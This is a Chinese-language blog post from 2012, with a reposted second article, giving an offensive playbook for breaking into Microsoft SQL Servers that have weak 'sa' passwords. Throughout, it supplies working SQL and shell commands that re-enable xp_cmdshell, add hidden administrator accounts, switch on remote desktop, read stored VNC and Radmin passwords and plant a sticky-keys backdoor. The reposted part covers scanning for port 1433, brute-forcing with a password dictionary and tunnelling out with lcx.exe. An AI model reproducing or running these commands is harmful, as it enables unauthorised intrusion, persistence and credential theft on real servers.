Pages

Tuesday, 31 July 2012

MSSQL Sa账户弱口令利用总结



一般拿到mssql的sa密码,或者遇到sa权限的注入点.可以尝试用sql连接器进行连接.如果不能外连,可以建立一个属于sysadmin组,可以远程登录的帐号进行控制.简单示例如下:
   
EXEC SP_ADDLOGIN 'hsren','123456','master' ;
EXEC SP_ADDSRVROLEMEMBER 'hsren','sysadmin';

这样,我们就建立了一个属于sysadmin组的sql登录 hsren 密码123456. 在mssql注入中遇到sa权限,不知道sa密码,我们也可以这样建立个用户,比较容易操作.操作以前,我们最好连接下1433端口,看是否开启.其实实际过程中,很多有放火墙阻止了1433端口的,还有一些更改端口为其他端口的,还有内网数据库等等.到时候端口转发,端口复用等,这里暂不考虑,.本文着重记录一些常见的mssql 空口令技巧.

其实mssql利用工具,网上有好多下载.很多版本都挺好用的,而且各有特色.这里不一一介绍了,简单说下我偶尔用到的几个工具,xrou写的sql tools,还有蓝色光芒写的sql综合利用工具.

xrou写的sql tools 功能比较强大,包括五种执行cmd命令的方式,执行sql语句,列目录,上传文件和查看文件内容等.蓝色光芒的sql综合利用工具,增加sql 帐号和注册表管理功能比较实用.其实工具是死的,这里不多加介绍,下面我们用sql查询器直接进行连接.

首先查看mssql版本和系统版本.?select @@version?一般用来查看mssql版本,因为sql2008 sql2005 sql2000 个别语法不相同,本文主要针对sql2000进行记录.

首先,我们进入master数据库,因为sql只有在master数据库中才能执行xp_cmdshell存储过程. user master; 然后F5 执行. 想用1、2、3、来记录后来想到自己的思想混乱和文笔,还是算了,随手记忆吧!

第一步尝试运行cmd命令,有了cmd命令,方便我们进一步的入侵!mssql有很多功能强大的存储过程,也许是太强大了,正是这些存储过程带给了我们数不清的机会!说道cmd命令,首当其冲的,是xp_cmdshell这个存储过程!

说下如何判断某个存储过程是否存在. 我们直接执行 sql语句判断存储扩展是否存在:
select count(*) from master.dbo.sysobjects where xtype='x' and ame='<span style="color: #0000ff;">xp</span><span style="color: #0000ff;">_c</span><span style="color: #0000ff;">mdshell</span>'

返回结果为1就ok . 0就是不存在.我们查询什么扩展更改蓝色字体部分的xp_cmdshell即可.

xp_cmdshell,以操作系统命令行解释器的的方式执行给定的字符串,并以文本方式返回.授予非管理员用户执行cmdshell的权限语法为xp_cmdshell {‘command_srting’}[,no_output];具体应用也不多作解释了!因为mssql太强大了,随便每个存储过程都可以用几页文章来形容.还是记录一些常用的命令就好了.
Exec Xp_cmdshell ‘whoami’]

我一般用这个用户作为test语句!当然很多朋友可能都习惯用net user 添加用户!还是那句话,管理员的安全水平越来越提高!sql服务的sa默认是system权限,但是很多有经验的管理员都会把权限降低为nt authority\network service. 有经验的管理员会把net.exe net1.exe cacls.exe 等危险的exe都禁止system访问!当然了xp_cmdshell这么危险的组件也不会保存!而whoami.exe这个命令一般不会被特别的设置权限,所以我们可以判断,xp_cmdshell是否禁止,mssql的运行权限是什么!

下面分2个话题说,第一个,恢复xp_cmdshell;第二个,在sa没有特权的时候,我们该做什么!

先说第一个!

恢复xp_cmdshell,网上关于这类话题的讨论很多!由于本文是记录给自己看的,不能图文并茂,就大概记录一下!

1、提示SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”. 这是mssql2005以上的默认配置!开启mssql2005 xp_cmdshell存储过程的语法为:
   
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

大概就是开启高级选项!设置xp_cmdshell为1就是开启,关闭设置为0就可以了!也给出语句,方便我们利用后恢复!

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:
<span style="color: #ff0000;">sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ;</span>

3、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)?

第一步执行:
sp_dropextendedproc "xp_cmdshell"

第二步执行:
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4、无法在库 xplog70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
第一步执行:
exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:
exec sp_addextendedproc 'xp_cmdshell','D:\hsren\xpsql70.dll'

上面所有命令都输入以后点F5执行.简单说下,第二种找不到存储过程,我们直接添加这个存储过程.xplog70.dll 是xp_cmdshell存储过程要用到的dll文件.第三个是说有存储过程,但是里面的xp_cmdshell存储过程不存在dll里面,我们首先删除这个存储过程,然后重新创建.第四个是说在dll里找不到xp_cmdshell,或者找不到dll的时候,我们自己上传dll 然后删除原来的用我们上传的dll来恢复.

5、如果sp_addextendedproc不存在,也就无法进行存储过程的添加了!这里记录两种方法。第一种是直接恢复xp_cmdshell扩展,不用理会sp_addextendedproc是否存在!具体语句如下:
首先删除
   
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

然后恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

以上的例子只恢复了2种可以执行cmd命令的存储过程,包括下文要说的一些扩展都能利用此种方法恢复!下面就不再赘述了!

第二种是,用sql语句恢复sp_dropextrndedproc. 该语句是从dll里直接提取的.大家可以另外提取一些其他的函数,这些不在本文讨论范围中.sql语句如下:   
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

执行完毕以后,我们的sp_addextendedproc就可以用了,我们就可以添加各种存储过程了.
6、还有一种,错误 5 来自 CreateProcess .那样是net.exe的权限问题!我们可以用其他的一些扩展办法,比如上传net.exe 等等吧!直接运行一个shell.exe之类的!
上面简单介绍了一些关于xp_cmdshell的恢复和应用!可以执行cmd命令的话.开启3389运行后门,添加用户!这些事情大家自由发挥,我就不多废话了!下面说下xp_cmdshell不能执行的时候,我们可以用来执行cmd的两个存储过程!sp_oacreate 实例上创建OLE对象实例! sp_oamethod 调用ole对象的方法!一个创建一个调用方法去实现,功能可见一斑.应用很广泛.我们只说下cmd命令的应用.其他的大家可以自己去尝试. 这2个存储过程,添加和恢复参照上文的xp_cmdshell,唯一不同的就是dll的名称为odsole70.dll. 这两个存储过程基本语法如下:
   
sp_OACreate progid, | clsid,
    objecttoken OUTPUT
     [ , context ]
sp_OAMethod objecttoken,
    methodname
     [, returnvalue OUTPUT]
     [ , [ @parametername = ] parameter [ OUTPUT ]
     [...n]]

具体参数说明大家baidu 下. 下面给出创建一个adduser.vbs到启动目录下,运行后利用wscript.shell 执行cmd命令添加一个属于administrators 组的 用户hsren 密码123456的实例.
   
declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\adduser.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hsren 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators hsren /add",0)'

不知道能不能看懂,如果你baidu了这2个存储过程的用法,应该能懂.再来个简简单单,执行cmd命令的,这样应该方便大家了解.
   
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'

现在,大家对这个应该了解了,实际过程中,我们可以利用这2个函数来执行注册表,写入一句话脚本木马,读写文件(比如servu ftp配置文件)等等很多事情.
不详细说了,记录到执行命令,不得不提的就是沙盒模式执行cmd.说到沙盒模式,因为默认沙盒模式,没有开启,我们必须提到一个xp_regwrite存储过程.而注册表的一些存储过程,我们又可以用来做好多事情,比如查看配置,新建服务,新建启动项之类的.先说沙盒模式提权吧.具体命令如下:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

首先开启沙盒模式.下面加用户hsren 密码 123456.

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hsren 123456 /add")');

大概就是这个样子了,需要注意的是,有时候ias.mdb不一定可以用,system32下面有2个mdb可以使用的,如果再不行,可以再找别的或者自己上传.其实运行沙盒模式,也许到过很多的错误,不过今天记录的时候,却忘记了.总是大家自己看着错误提示,寻找解决办法.注意蓝色字体,大家可以自行修正成自己的命令,和mdb路径比如 c:\windows\system32\ias\dnary.mdb.
再说说启动SQLSERVERAGENT 通过JOB执行cmd.大概就是如果服务器可以开启sqlseveragnet ,然后我们可以通过添加任务来执行cmd.具体的大家可以baidu 下. 贴出一个典型的利用语句:
   
execmaster.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

首先启动服务. 接着添加执行cmd命令的job:
   
use msdb exec sp_delete_job NULL,'x'
execsp_add_job 'x'
execsp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c net user hsren 123456 /add'
execsp_add_jobserverNULL,'x',@@servername
execsp_start_job 'x'

上面的例子中,我们同样添加了一个用户.简单解释下. 首先使用msdb数据库, 然后删除名为x的job, 然后新建个job x 执行cmdexec , 添加job执行的服务器.启动job x. 大概了解就好了.
在简单介绍一种执行cmd命令的方法.xrou写的sql利用工具有个安装diyshell的功能.原理就是,利用添加存储过程,添加一个我们自己写的存储过程到服务器.然后调用这个存储过程来执行cmd.其实可以做任何事情.简单介绍下,日后有时间,可以自己写个然后给大家分享.
cmd说到这里告一段落了.其实一个system权限的cmdshell还有什么不能做的呢.运行程序.上传下载.开启远程终端,添加用户等等. 值得一提的就是文件上传,我记得看过一篇文章写着sa上传文件八法.大家可以参考下.有时间我专门整理下上传文件的文章.
说到开启3389,用我们刚才开启沙盒的xp_regwrite直接可以修改注册表打开3389. 具体语句为:
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

写注册表,在启动项目,直接操作注册表sam项,这些具体利用就不写了.xp_regwrite没有启动,可以参考上面cmdshell的恢复方法.不同的是注册表操作的这几个存储过程默认的 dll文件名字为xpstar.dll .
说到注册表,不得不提到一系列的函数xp_regread xp_regenumkeys xp_regenumvalues xp_regremovemultistring xp_regdeletekey xp_regdeletevalue 等函数. 他们提供了注册表的列举,查看,修改和删除.我们可以查看注册表的软件配置, 删除ipsec安全策略,修改软件启动.劫持文件启动镜像等等.着重说说如果mssql降权了,没有特殊权限的提权方式. 这时候可以利用xp_regread读取一些配置文件.读取保存在注册表中的密码,来获得权限的提升.比较常用的是vnc,radmin等.因为vnc的加密方式可逆,并且保存在注册表中.我们可以把密码读出来. 语句如下:
   
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Port'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','Password'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','PortNumber'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','Password'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','PortNumber'

类似如此,有当我们不知道vnc安装在哪里的时候可以通过xp_regenumkeys xp_regenumvalues 来读取.如果只有guest权限,我想我们能做的也只有这些了.以下语句记录一下.劫持sethc.exe的注册表镜像,通过xp_regwrite的.例子中,我们把sethc.exe 用资源管理器劫持了,登陆3389 5shift 就运行explorer.exe了.本文只是介绍个方法.同样你可以把explorer替换为任务管理器,cmd.exe.也可以不替换sethc.exe可以替换win放大镜文件.登陆3389 win+U就弹出.我想注册表,也告一段落吧.
   
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\explorer.exe'';

接下来说说xp_availablemedia 显示系统上可用的磁盘驱动器 和 xp_dirtree 显示某个目录下的子目录与文件架构.dbo.xp_subdirs 只列某个目录下的子目录.xp_getfiledetails 获取某个档案的相关属性. 很简单的,这两个函数注入中,我们经常使用,现在他可以叫我们查看服务器上有什么文件和目录.没什么技术含量不写例子了.写下如何查看文件内容吧.如果可以使用cmdshell, 我建议使用type 命令来查看.如果不可以,那我们使用把文件内容插入数据库的表里,然后来读取文件内容.代码如下:

#建立一个临时表
   
create table #testtable(
context ntext );
select * from #testtable

#将本地文件写入表中   
BULK INSERT #testtable FROM 'c:\1111.txt'
WITH (
    DATAFILETYPE = 'char',
    KEEPNULLS
)
--drop table #testtable;

需要注意的是我们必须有BULK INSERT权限才可以.我们是sa,可以不用考虑这个问题.查看文件内容还有好多办法.有兴趣的自己去看下mssql的一些文章. 我很少写东西,写一天了还没写完,有点烦了.随便结个尾吧.以后想到再来详细补充. 大家看看这几个函数: xp_servicecontrol 激活或者停止某个服务; xp_terminate_process 停止某个进程的pid. sp_helpextendedproc 可以用来查看哪个 存储过程用到了哪个dll.
其实还有一些存储过程,比如sp_makewebtask 可以用来写入一句话木马. 我想把一些注入中用到的存储过程,改在注入总结篇中总结. 本文只是大概记录了一些本人在网络学习到,和自己常用到的一些小经验.其实sa的利用方式还是很多,想到再补充,大家想到什么好的利用方式,也可以和我交流.
本来想写个记录帖子的,写一半把性质给忘记了.其实真的sa可以执行cmd.那么我们能做的事情好多了,我一句一句的纪录如何开始3389 如何导入文件到表内 导出为文件,如何执行就没意思了.
-------------------------------------------------------------------------------------------
 MSSQL SA弱口令入侵那些事

一、如何找到SA弱口令计算机
1、扫描获得1433端口开放的计算机
      端口扫描器和专门的SQL扫描器很多,笔者经过大量的测试,推荐使用ssport(如图1)这款扫描器进行扫描,尽管有些基于SYN方式的扫描器扫描速度 很快,但误报和漏扫情况比较多,而且对网络速度要求比较高,而ssport可以根据扫描计算机的硬件和网络情况进行灵活的设置,操控性很强。因为 ssport扫描器占的网络资源比较多,建议超时时间设置的大一些,扫描速度设置的慢一些。ssport的下载地址:[url]http://www.skycn.com/soft/15011.html[/url]
图1
      扫描完毕后,将获得的结果"导出"到一个txt文件中,然后使用替换功能去掉每个ip后面的:1433。
2、破解SA密码
      破解SA密码的软件也很多,笔者一般使用x-scan(下载地址:http://www.xfocus.net/tools/200507/X-Scan-v3.3-cn.rar),尽管破解速度不算最快,但很稳定(xp和虚拟机下不算稳定,可能跟xp的tcp连接数量有关,建议在win2000、2003下使用),各种设置如图2,3,4,5,6所示。
图2
图3
图4
图5
图6
 
其他设置使用默认设置就行了。x-scan提供了一个sqlserver用户名字典sql_user.dic,我们需要修改一下,只保留其中sa这个用户。x-scan还提供了一个sa的密码字典weak_pass.dic,我也修改了一下:
%null%
%username%
123
server
0000
654321
7654321
manager
12345678
1234
12345
123456
1234567
123456789
admin
password
666666
888888
000000
master
111111
 
如果条件允许,可以制作生日密码字典进行破解,这种密码还是很多的,而且完全控制的可能性很大。
二、找到SA弱口令服务器后
        1、连接执行cmd命令
        找到SA弱口令服务器后,可以使用sqlserver的查询分析器进行连接,但要获得查询分析器,需要安装sqlserver的客户端,这样比较麻烦,建议使用SQL执行器(下载地址:http://img1.51cto.com/attachment/200902/1083_1233814542.rar)进行连接,查询分析器的功能SQL执行器基本都有,数据库管理员也可以使用这个工具维护数据库,如图7所示。
图7
连接上就可以尝试执行cmd命令了,但事情不会象我们想象的那样简单。
        2、连接后,该执行哪些命令?
        假设各种存储过程和dll文件都没有删除,我们先执行:
exec master..xp_cmdshell 'netstat -an'
看看3389,4899,5631等远程控制的软件端口是否都是开放的,然后执行添加系统用户的命令:
exec master..xp_cmdshell 'net user a password /add'
exec master..xp_cmdshell 'net localgroup administrators a /add'
这样就加了一个名为a,密码为password的系统管理员。建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。
        3、都会遇到哪些障碍?
(1)如果提示xp_cmdshell被删除了怎么办?
执行exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',进行恢复。
    
(2) 如果提示sp_addextendedproc不存在怎么办?
执行:
create procedure sp_addextendedproc
@functname nvarchar(517), @dllname varchar(255) as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
恢复
        
(3)如果对方的3389服务没有开启怎么办?
执行:
exec master..xp_cmdshell 'dir c:\'
看看根目录下如果是winnt,则一般是win2000,执行
exec master..xp_cmdshell 'echo [Components] > c:\winnt\3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:\winnt\3389'
exec master..xp_cmdshell 'sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\winnt\3389 /q'
等服务器重启才能连接3389
如果根目录下是windows,一般是xp或win2003,执行
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'
执行完毕后,不用等待重启,可以直接连接。
       
(4)如果使用3389连接时,提示连接用户必须有远程连接的权限怎么办?
执行:
exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'
注意单双引号。
(5)如果服务器用的是pcanywhere怎么办?
执行:
exec master..xp_cmdshell 'dir c:\docume~1\alluse~1\Applic~1\symantec\pcAnywhere\Hosts\'
想办法把该文件夹的pif文件下载破解。
(5)如果连接3389,提示连接用户已满怎么办?
执行:
exec master..xp_cmdshell 'shutdown/r /f'
服务器会重新启动,然后连接,只针对xp和2003。
(6)如果对方是sql2005,有些存储过程默认情况下是关闭的怎么办?
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
(7)为什么我建了管理员用户,在连接3389时提示用户名和密码不正确?
这种情况也存在,开3389服务的服务器和开1433服务的服务器不是一台机器,1433服务器很可能在内网,可通过sqltool这个软件上传lcx.exe,进行反向连接,详细情况参考(8)。
(8)对方3389是开启的,但为什么连接不上?
这种情况比较多,可能1433服务器是在内网,或者有防火墙阻挡,科通过sqltool这个软件的上传功能将lcx.exe上传到1433服务器上(可放到system32下),然后到有公网ip的计算机上执行cmd命令(要先把lcx传上去):
Lcx -listen 12345 54321
然后在SQL执行器执行:
exec master..xp_cmdshell 'lcx.exe -slave 公网ip 54321 127.0.0.1 3389'
再到有公网ip的计算机上使用远程桌面连接127.0.0.1:12345
这样一般可以连上。
(9)3389的端口被修改了,该如何找到?
先执行
exec master..xp_cmdshell 'netstat -an'
看看那些端口的数字比较特殊,比如9833、12345等,尝试连接,或者
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。
  而终端所对应的服务名为:Terminal Services
第二步:用netstat -ano命令,列出所有端口对应的PID值。
  找到PID值所对应的端口,然后连接ip:端口
(10)遇到下面的错误提示怎么办?
消息 50001,级别 1,状态 50001
xpsql.cpp: 錯誤 5 發生於 CreateProcess 的第 543 行
 
放弃吧,我也不知道怎么办,哪位大侠指点一下。
(11)如果不能执行或者删除了net、net1怎么办?
上传试试,
(12)还有哪些建系统用户的方法?
 
出处http://xiaowang.blog.51cto.com/1083/129196